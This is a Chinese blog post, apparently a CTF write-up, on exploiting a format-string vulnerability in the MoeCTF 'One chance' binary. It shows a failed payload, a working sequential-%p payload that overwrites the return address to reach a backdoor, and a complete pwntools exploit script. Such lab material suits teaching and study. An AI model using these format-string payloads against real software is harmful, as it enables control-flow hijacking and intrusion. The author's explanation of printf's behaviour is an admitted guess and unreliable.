one_chance_格式化字符串

本文最后更新于 2024年10月13日 晚上

one_chance_格式化字符串漏洞

题目分析

题目是Moectf_One chance

可以看到程序中存在格式化字符串漏洞,但是只给了一次输入的机会的机会

但是给了后门地址0x1208

错误思路

其实这个题的思路很明显,就是要我们想办法通过一次的输入,就把返回地址最后的字节覆盖成后面函数的

所以我一开始构造的payload是这样的

1
payload='%'+str((ret&0xffff))+'c%15$hn'+'%'+str(0x100008-(ret&0xffff))+'c%45$hhn'

这里解释一下后面为什么是0x100008-(ret&0xffff)

格式化字符串任意地址写的时候,后面写入的字符量一定要比前面的大。假设有 %30c%16$hhn%40c%26$hhn ,这样写到栈顶偏移 20 的位置,写入的值是 7030+40 ,并非是 40

按理来说这样一个payload就能打通

但是我们发现上面的payload只有一半生效

仅仅将链栈指向了返回地址,返回地址的值并没有改变

我也不知道为啥

有博主猜测是这样的

猜测:任意地址写用 $ 指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 $ 去在刚刚的指针基础上进行修改。注意:这仅仅是个猜测,真相应该去源码中找到答案

因此我们只能找其他方法利用

思路

不能用$指定位置,那就只能按顺序来了,所以我后面的payload如下

1
payload='%p'*13+'%'+str((ret&0xffff)-138)+'c%hn'+'%'+str(0x100008-(ret&0xffff))+'c%45$hhn'

因为 printf 解析参数会根据 % 进行判断,在 hn 前面一共有 15% ,所以这个 %xxxc%hn 会将 xxx 数据加上 %p 泄露的字符个数写入第十五个参数

至于-138的由来,%p泄露出来的字符个数一并算进去,这个只能考调试计算了,不同的libc版本都不同

后面就没啥了

这次可以看到返回地址也更改成功了

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
io=process('./pwn')
#io=remote('127.0.0.1','44471')
gdb.attach(io)
io.recvuntil('0x')
stack=int(io.recv(12),16)
print(hex(stack))
ret=stack+0x18
payload='%p'*13+'%'+str((ret&0xffff)-138)+'c%hn'+'%'+str(0x100008-(ret&0xffff))+'c%45$hhn'
io.send(payload)
io.interactive()
pause()

one_chance_格式化字符串
http://example.com/2024/10/02/onechance-格式化字符串/
作者
清风
发布于
2024年10月2日
许可协议